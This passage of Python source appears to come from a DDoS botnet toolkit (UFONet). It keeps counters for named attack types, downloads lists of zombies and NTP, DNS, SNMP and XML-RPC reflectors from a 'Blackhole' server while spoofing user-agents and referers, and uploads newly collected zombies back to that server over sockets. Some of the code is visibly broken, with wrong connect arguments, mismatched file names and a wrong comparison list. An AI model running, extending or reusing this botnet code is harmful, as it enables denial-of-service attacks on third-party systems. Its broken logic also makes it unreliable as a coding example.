  1840. stats_json_file = open(self.mothership_stats_file, "w+")
  1841. stats_json_file.write(json.dumps(data))
  1842. stats_json_file.close()
  1843. def update_uforst_stats(self):
  1844. stats_json_file = open(self.mothership_stats_file, "r")
  1845. data = json.load(stats_json_file)
  1846. stats_json_file.close()
  1847. auforst = data["uforst"]
  1848. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  1849. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  1850. data["uforst"] = auforst
  1851. stats_json_file = open(self.mothership_stats_file, "w+")
  1852. stats_json_file.write(json.dumps(data))
  1853. stats_json_file.close()
  1854. def update_droper_stats(self):
  1855. stats_json_file = open(self.mothership_stats_file, "r")
  1856. data = json.load(stats_json_file)
  1857. stats_json_file.close()
  1858. adroper = data["droper"]
  1859. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  1860. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  1861. data["droper"] = adroper
  1862. stats_json_file = open(self.mothership_stats_file, "w+")
  1863. stats_json_file.write(json.dumps(data))
  1864. stats_json_file.close()
  1865. def update_overlap_stats(self):
  1866. stats_json_file = open(self.mothership_stats_file, "r")
  1867. data = json.load(stats_json_file)
  1868. stats_json_file.close()
  1869. aoverlap = data["overlap"]
  1870. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  1871. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  1872. data["overlap"] = aoverlap
  1873. stats_json_file = open(self.mothership_stats_file, "w+")
  1874. stats_json_file.write(json.dumps(data))
  1875. stats_json_file.close()
  1876. def update_pinger_stats(self):
  1877. stats_json_file = open(self.mothership_stats_file, "r")
  1878. data = json.load(stats_json_file)
  1879. stats_json_file.close()
  1880. apinger = data["pinger"]
  1881. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  1882. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  1883. data["pinger"] = apinger
  1884. stats_json_file = open(self.mothership_stats_file, "w+")
  1885. stats_json_file.write(json.dumps(data))
  1886. stats_json_file.close()
  1887. def update_ufoudp_stats(self):
  1888. stats_json_file = open(self.mothership_stats_file, "r")
  1889. data = json.load(stats_json_file)
  1890. stats_json_file.close()
  1891. aufoudp = data["ufoudp"]
  1892. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  1893. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  1894. data["ufoudp"] = aufoudp
  1895. stats_json_file = open(self.mothership_stats_file, "w+")
  1896. stats_json_file.write(json.dumps(data))
  1897. stats_json_file.close()
  1898. def update_nuke_stats(self):
  1899. stats_json_file = open(self.mothership_stats_file, "r")
  1900. data = json.load(stats_json_file)
  1901. stats_json_file.close()
  1902. anuke = data["nuke"]
  1903. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1904. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1905. data["nuke"] = anuke
  1906. stats_json_file = open(self.mothership_stats_file, "w+")
  1907. stats_json_file.write(json.dumps(data))
  1908. stats_json_file.close()
  1909. def update_tachyon_stats(self):
  1910. stats_json_file = open(self.mothership_stats_file, "r")
  1911. data = json.load(stats_json_file)
  1912. stats_json_file.close()
  1913. atachyon = data["tachyon"]
  1914. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  1915. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  1916. data["tachyon"] = atachyon
  1917. stats_json_file = open(self.mothership_stats_file, "w+")
  1918. stats_json_file.write(json.dumps(data))
  1919. stats_json_file.close()
  1920. def update_monlist_stats(self):
  1921. stats_json_file = open(self.mothership_stats_file, "r")
  1922. data = json.load(stats_json_file)
  1923. stats_json_file.close()
  1924. amonlist = data["monlist"]
  1925. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  1926. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  1927. data["monlist"] = amonlist
  1928. stats_json_file = open(self.mothership_stats_file, "w+")
  1929. stats_json_file.write(json.dumps(data))
  1930. stats_json_file.close()
  1931. def update_sniper_stats(self):
  1932. stats_json_file = open(self.mothership_stats_file, "r")
  1933. data = json.load(stats_json_file)
  1934. stats_json_file.close()
  1935. asniper = data["sniper"]
  1936. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  1937. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  1938. data["sniper"] = asniper
  1939. stats_json_file = open(self.mothership_stats_file, "w+")
  1940. stats_json_file.write(json.dumps(data))
  1941. stats_json_file.close()
  1942. def uploading_list(self):
  1943. from io import BytesIO
  1944. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1945. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1946. abductions = "botnet/abductions.txt.gz"
  1947. troops = "botnet/troops.txt.gz"
  1948. robots = "botnet/robots.txt.gz"
  1949. drones = "botnet/drones.txt.gz"
  1950. reflectors = "botnet/reflectors.txt.gz"
  1951. crystals = "botnet/crystals.txt.gz"
  1952. warps = "botnet/warps.txt.gz"
  1953. bosons = "botnet/bosons.txt.gz"
  1954. if self.options.timeout: # set timeout
  1955. try:
  1956. timeout = int(self.options.timeout)
  1957. except:
  1958. timeout = 5
  1959. else:
  1960. timeout = 5
  1961. if timeout < 1:
  1962. timeout = 5
  1963. try:
  1964. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  1965. if self.options.forcessl:
  1966. if self.options.proxy: # set proxy
  1967. self.proxy_transport(options.proxy)
  1968. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1969. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1970. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1971. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1972. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1973. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1974. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1975. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1976. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1977. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1978. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1979. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1980. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  1981. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1982. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  1983. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1984. else:
  1985. if self.options.proxy: # set proxy
  1986. self.proxy_transport(options.proxy)
  1987. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1988. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1989. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1990. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1991. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1992. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1993. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1994. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1995. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1996. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1997. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  1998. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  1999. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2000. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2001. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2002. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2003. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2004. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2005. print('-'*12 + '\n')
  2006. print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  2007. return
  2008. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2009. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  2010. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2011. f_out_abductions.write(f_in_abductions.read())
  2012. f_in_abductions.close()
  2013. f_out_abductions.close()
  2014. num_zombies = 0
  2015. with open('botnet/abductions.txt') as f:
  2016. for _ in f:
  2017. num_zombies = num_zombies + 1
  2018. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  2019. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  2020. f_out_robots = open('botnet/robots.txt', 'wb')
  2021. f_out_robots.write(f_in_robots.read())
  2022. f_in_robots.close()
  2023. f_out_robots.close()
  2024. num_robots = 0
  2025. with open('botnet/robots.txt') as f:
  2026. for _ in f:
  2027. num_robots = num_robots + 1
  2028. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  2029. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  2030. f_out_troops = open('botnet/troops.txt', 'wb')
  2031. f_out_troops.write(f_in_troops.read())
  2032. f_in_troops.close()
  2033. f_out_troops.close()
  2034. num_aliens = 0
  2035. with open('botnet/aliens.txt') as f:
  2036. for _ in f:
  2037. num_aliens = num_aliens + 1
  2038. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  2039. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  2040. f_out_drones = open('botnet/drones.txt', 'wb')
  2041. f_out_drones.write(f_in_drones.read())
  2042. f_in_drones.close()
  2043. f_out_drones.close()
  2044. num_drones = 0
  2045. with open('botnet/drones.txt') as f:
  2046. for _ in f:
  2047. num_drones = num_drones + 1
  2048. print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))
  2049. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  2050. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2051. f_out_reflectors.write(f_in_reflectors.read())
  2052. f_in_reflectors.close()
  2053. f_out_reflectors.close()
  2054. num_reflectors = 0
  2055. with open('botnet/reflectors.txt') as f:
  2056. for _ in f:
  2057. num_reflectors = num_reflectors + 1
  2058. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  2059. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  2060. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2061. f_out_crystals.write(f_in_crystals.read())
  2062. f_in_crystals.close()
  2063. f_out_crystals.close()
  2064. num_crystals = 0
  2065. with open('botnet/crystals.txt') as f:
  2066. for _ in f:
  2067. num_crystals = num_crystals + 1
  2068. print("[Info] [NTPs] on [Blackhole] : "+ str(num_crystals))
  2069. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  2070. f_out_warps = open('botnet/warps.txt', 'wb')
  2071. f_out_warps.write(f_in_warps.read())
  2072. f_in_warps.close()
  2073. f_out_warps.close()
  2074. num_warps = 0
  2075. with open('botnet/warps.txt') as f:
  2076. for _ in f:
  2077. num_warps = num_warps + 1
  2078. print("[Info] [DNSs] on [Blackhole] : "+ str(num_warps))
  2079. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  2080. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2081. f_out_bosons.write(f_in_bosons.read())
  2082. f_in_bosons.close()
  2083. f_out_bosons.close()
  2084. num_bosons = 0
  2085. with open('botnet/bosons.txt') as f:
  2086. for _ in f:
  2087. num_bosons = num_bosons + 1
  2088. print("[Info] [SNMPs] on [Blackhole] : "+ str(num_bosons))
  2089. print('-'*12 + '\n')
  2090. if not self.options.forceyes:
  2091. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  2092. print('-'*25)
  2093. else:
  2094. update_reply = "Y"
  2095. if update_reply == "n" or update_reply == "N":
  2096. os.remove('botnet/abductions.txt') # remove abductions file
  2097. os.remove('botnet/troops.txt') # remove troops file
  2098. os.remove('botnet/robots.txt') # remove robots file
  2099. os.remove('botnet/drones.txt') # remove drones file
  2100. os.remove('botnet/reflectors.txt') # remove reflectors file
  2101. os.remove('botnet/crystals.txt') # remove crystals file
  2102. os.remove('botnet/warps.txt') # remove warps file
  2103. os.remove('botnet/bosons.txt') # remove bosons file
  2104. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  2105. return
  2106. else:
  2107. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  2108. print('='*35)
  2109. zombies = self.extract_zombies()
  2110. if not zombies:
  2111. return
  2112. test = self.testing(zombies)
  2113. zombies_community = []
  2114. zombies_added = 0
  2115. f = open('botnet/abductions.txt')
  2116. abductions = f.readlines()
  2117. abductions = [abduction.strip() for abduction in abductions]
  2118. f.close()
  2119. fz = open(self.zombies_file)
  2120. zombies = fz.readlines()
  2121. zombies = [zombie.strip() for zombie in zombies]
  2122. fz.close()
  2123. for zombie in zombies:
  2124. if zombie not in abductions:
  2125. zombies_community.append(zombie)
  2126. zombies_added = zombies_added + 1
  2127. else:
  2128. pass
  2129. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  2130. aliens = self.extract_aliens()
  2131. if not aliens:
  2132. return
  2133. aliens_community = []
  2134. aliens_added = 0
  2135. f = open('botnet/troops.txt')
  2136. troops = f.readlines()
  2137. troops = [troop.strip() for troop in troops]
  2138. f.close()
  2139. fz = open(self.aliens_file)
  2140. aliens = fz.readlines()
  2141. aliens = [alien.strip() for alien in aliens]
  2142. fz.close()
  2143. for alien in aliens:
  2144. if alien not in troops:
  2145. aliens_community.append(alien)
  2146. aliens_added = aliens_added + 1
  2147. else:
  2148. pass
  2149. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  2150. droids = self.extract_droids()
  2151. if not droids:
  2152. return
  2153. droids_community = []
  2154. droids_added = 0
  2155. f = open('botnet/robots.txt')
  2156. robots = f.readlines()
  2157. robots = [robot.strip() for robot in robots]
  2158. f.close()
  2159. fz = open(self.droids_file)
  2160. droids = fz.readlines()
  2161. droids = [droid.strip() for droid in droids]
  2162. fz.close()
  2163. for droid in droids:
  2164. if droid not in robots:
  2165. droids_community.append(droid)
  2166. droids_added = droids_added + 1
  2167. else:
  2168. pass
  2169. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  2170. ucavs = self.extract_ucavs()
  2171. if not ucavs:
  2172. return
  2173. ucavs_community = []
  2174. ucavs_added = 0
  2175. f = open('botnet/drones.txt')
  2176. drones = f.readlines()
  2177. drones = [drone.strip() for drone in drones]
  2178. f.close()
  2179. fz = open(self.ucavs_file)
  2180. ucavs = fz.readlines()
  2181. ucavs = [ucav.strip() for ucav in ucavs]
  2182. fz.close()
  2183. for ucav in ucavs:
  2184. if ucav not in drones:
  2185. ucavs_community.append(ucav)
  2186. ucavs_added = ucavs_added + 1
  2187. else:
  2188. pass
  2189. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  2190. rpcs = self.extract_rpcs()
  2191. if not rpcs:
  2192. return
  2193. rpcs_community = []
  2194. rpcs_added = 0
  2195. f = open('botnet/reflectors.txt')
  2196. reflectors = f.readlines()
  2197. reflectors = [reflector.strip() for reflector in reflectors]
  2198. f.close()
  2199. fz = open(self.rpcs_file)
  2200. rpcs = fz.readlines()
  2201. rpcs = [rpc.strip() for rpc in rpcs]
  2202. fz.close()
  2203. for rpc in rpcs:
  2204. if rpc not in reflectors:
  2205. rpcs_community.append(rpc)
  2206. rpcs_added = rpcs_added + 1
  2207. else:
  2208. pass
  2209. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  2210. ntps = self.extract_ntps()
  2211. if not ntps:
  2212. return
  2213. ntps_community = []
  2214. ntps_added = 0
  2215. f = open('botnet/crystals.txt')
  2216. crystals = f.readlines()
  2217. crystals = [crystal.strip() for crystal in crystals]
  2218. f.close()
  2219. fz = open(self.ntps_file)
  2220. ntps = fz.readlines()
  2221. ntps = [ntp.strip() for ntp in ntps]
  2222. fz.close()
  2223. for ntp in ntps:
  2224. if ntp not in crystals:
  2225. ntps_community.append(ntp)
  2226. ntps_added = ntps_added + 1
  2227. else:
  2228. pass
  2229. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  2230. dnss = self.extract_dnss()
  2231. if not dnss:
  2232. return
  2233. dnss_community = []
  2234. dnss_added = 0
  2235. f = open('botnet/warps.txt')
  2236. warps = f.readlines()
  2237. warps = [warp.strip() for warp in warps]
  2238. f.close()
  2239. fz = open(self.dnss_file)
  2240. dnss = fz.readlines()
  2241. dnss = [dns.strip() for dns in dnss]
  2242. fz.close()
  2243. for dns in dnss:
  2244. if dns not in warps:
  2245. dnss_community.append(dns)
  2246. dnss_added = dnss_added + 1
  2247. else:
  2248. pass
  2249. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  2250. snmps = self.extract_snmps()
  2251. if not snmps:
  2252. return
  2253. snmps_community = []
  2254. snmps_added = 0
  2255. f = open('botnet/bosons.txt')
  2256. bosons = f.readlines()
  2257. bosons = [boson.strip() for boson in bosons]
  2258. f.close()
  2259. fz = open(self.snmps_file)
  2260. snmps = fz.readlines()
  2261. snmps = [snmp.strip() for snmp in snmps]
  2262. fz.close()
  2263. for snmp in snmps:
  2264. if snmp not in crystals:
  2265. snmps_community.append(snmp)
  2266. snmps_added = snmps_added + 1
  2267. else:
  2268. pass
  2269. print("[Info] [AI] New [SNMPs] found : " + str(snmps_added))
  2270. print('-'*12 + '\n')
  2271. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2272. os.remove('botnet/abductions.txt') # remove abductions file
  2273. os.remove('botnet/troops.txt') # remove troops file
  2274. os.remove('botnet/robots.txt') # remove robots file
  2275. os.remove('botnet/drones.txt') # remove ucavs file
  2276. os.remove('botnet/reflectors.txt') # remove rpcs file
  2277. os.remove('botnet/crystals.txt') # remove crystals file
  2278. os.remove('botnet/warps.txt') # remove warps file
  2279. os.remove('botnet/bosons.txt') # remove snmps file
  2280. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2281. return
  2282. else:
  2283. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2284. for zombie in zombies_community:
  2285. fc.write(zombie.strip()+"\n")
  2286. fc.close()
  2287. os.remove('botnet/abductions.txt') # remove abductions file
  2288. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2289. for alien in aliens_community:
  2290. fc.write(alien.strip()+"\n")
  2291. fc.close()
  2292. os.remove('botnet/troops.txt') # remove troops file
  2293. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2294. for droid in droids_community:
  2295. fc.write(droid.strip()+"\n")
  2296. fc.close()
  2297. os.remove('botnet/robots.txt') # remove robots file
  2298. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2299. for ucav in ucavs_community:
  2300. fc.write(ucav.strip()+"\n")
  2301. fc.close()
  2302. os.remove('botnet/drones.txt') # remove drones file
  2303. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2304. for rpc in rpcs_community:
  2305. fc.write(rpc.strip()+"\n")
  2306. fc.close()
  2307. os.remove('botnet/reflectors.txt') # remove reflectors file
  2308. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2309. for ntp in ntps_community:
  2310. fc.write(ntp.strip()+"\n")
  2311. fc.close()
  2312. os.remove('botnet/crystals.txt') # remove crystals file
  2313. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2314. for dns in dnss_community:
  2315. fc.write(dns.strip()+"\n")
  2316. fc.close()
  2317. os.remove('botnet/warps.txt') # remove warps file
  2318. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2319. for snmp in snmps_community:
  2320. fc.write(snmp.strip()+"\n")
  2321. fc.close()
  2322. os.remove('botnet/bosons.txt') # remove bosons file
  2323. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  2324. try: # open a socket and send data to the blackhole reciever port
  2325. host = self.blackhole
  2326. cport = 9991
  2327. mport = 9990
  2328. try:
  2329. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2330. cs.connect(host, cport)
  2331. cs.send("SEND " + 'community_zombies.txt.gz')
  2332. cs.close()
  2333. f = open('botnet/community_zombies.txt.gz', "rb")
  2334. data = f.read()
  2335. f.close()
  2336. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2337. ms.connect(host, mport)
  2338. ms.send(data)
  2339. ms.close()
  2340. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2341. time.sleep(1)
  2342. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2343. cs.connect(host, cport)
  2344. cs.send("SEND " + 'community_aliens.txt.gz')
  2345. cs.close()
  2346. f = open('botnet/community_aliens.txt.gz', "rb")
  2347. data = f.read()
  2348. f.close()
  2349. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2350. ms.connect(host, mport)
  2351. ms.send(data)
  2352. ms.close()
  2353. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2354. time.sleep(1)
  2355. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2356. cs.connect(host, cport)
  2357. cs.send("SEND " + 'community_robots.txt.gz')
  2358. cs.close()
  2359. f = open('botnet/community_droids.txt.gz', "rb")
  2360. data = f.read()
  2361. f.close()
  2362. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2363. ms.connect(host, mport)
  2364. ms.send(data)
  2365. ms.close()
  2366. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2367. time.sleep(1)
  2368. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2369. cs.connect(host, cport)
  2370. cs.send("SEND " + 'community_ucavs.txt.gz')
  2371. cs.close()
  2372. f = open('botnet/community_ucavs.txt.gz', "rb")
  2373. data = f.read()
  2374. f.close()
  2375. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2376. ms.connect(host, mport)
  2377. ms.send(data)
  2378. ms.close()
  2379. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2380. time.sleep(1)
  2381. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2382. cs.connect(host, cport)
  2383. cs.send("SEND " + 'community_rpcs.txt.gz')
  2384. cs.close()
  2385. f = open('botnet/community_rpcs.txt.gz', "rb")
  2386. data = f.read()
  2387. f.close()
  2388. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2389. ms.connect(host, mport)
  2390. ms.send(data)
  2391. ms.close()
  2392. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2393. time.sleep(1)
  2394. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2395. cs.connect(host, cport)
  2396. cs.send("SEND " + 'community_ntps.txt.gz')
  2397. cs.close()
  2398. f = open('botnet/community_ntps.txt.gz', "rb")
  2399. data = f.read()
  2400. f.close()
  2401. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2402. ms.connect(host, mport)
  2403. ms.send(data)
  2404. ms.close()
  2405. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2406. time.sleep(1)
  2407. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2408. cs.connect(host, cport)
  2409. cs.send("SEND " + 'community_dnss.txt.gz')
  2410. cs.close()
  2411. f = open('botnet/community_dnss.txt.gz', "rb")
  2412. data = f.read()
  2413. f.close()
  2414. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2415. ms.connect(host, mport)
  2416. ms.send(data)
  2417. ms.close()
  2418. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2419. time.sleep(1)
  2420. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2421. cs.connect(host, cport)
  2422. cs.send("SEND " + 'community_snmps.txt.gz')
  2423. cs.close()
  2424. f = open('botnet/community_snmps.txt.gz', "rb")
  2425. data = f.read()
  2426. f.close()
  2427. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2428. ms.connect(host, mport)
  2429. ms.send(data)
  2430. ms.close()
  2431. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2432. time.sleep(2) # sleep a bit more
  2433. print('-'*12 + '\n')
  2434. print("[Info] [AI] Transfer -> [DONE!]\n")
  2435. except Exception as e:
  2436. print(str(e) + "\n")
  2437. except:
  2438. print('-'*12 + '\n')
  2439. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2440. return
  2441. except:
  2442. print('-'*12 + '\n')
  2443. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2444. return
  2445. def update_gui_data(self):
  2446. # download all GUI stream data
  2447. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2448. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2449. if self.options.proxy: # set proxy
  2450. self.proxy_transport(self.options.proxy)
  2451. if self.options.timeout: # set timeout
  2452. try:
  2453. timeout = int(self.options.timeout)
  2454. except:
  2455. timeout = 5
  2456. else:
  2457. timeout = 5
  2458. if timeout < 1:
  2459. timeout = 5
  2460. if self.options.forcessl:
  2461. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2462. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2463. tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2464. tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2465. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2466. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2467. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2468. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2469. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2470. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2471. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2472. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2473. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2474. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2475. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2476. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2477. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2478. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2479. nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2480. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2481. else:
  2482. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2483. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2484. tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2485. tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
  2486. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2487. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2488. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2489. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2490. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2491. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2492. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2493. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2494. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2495. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
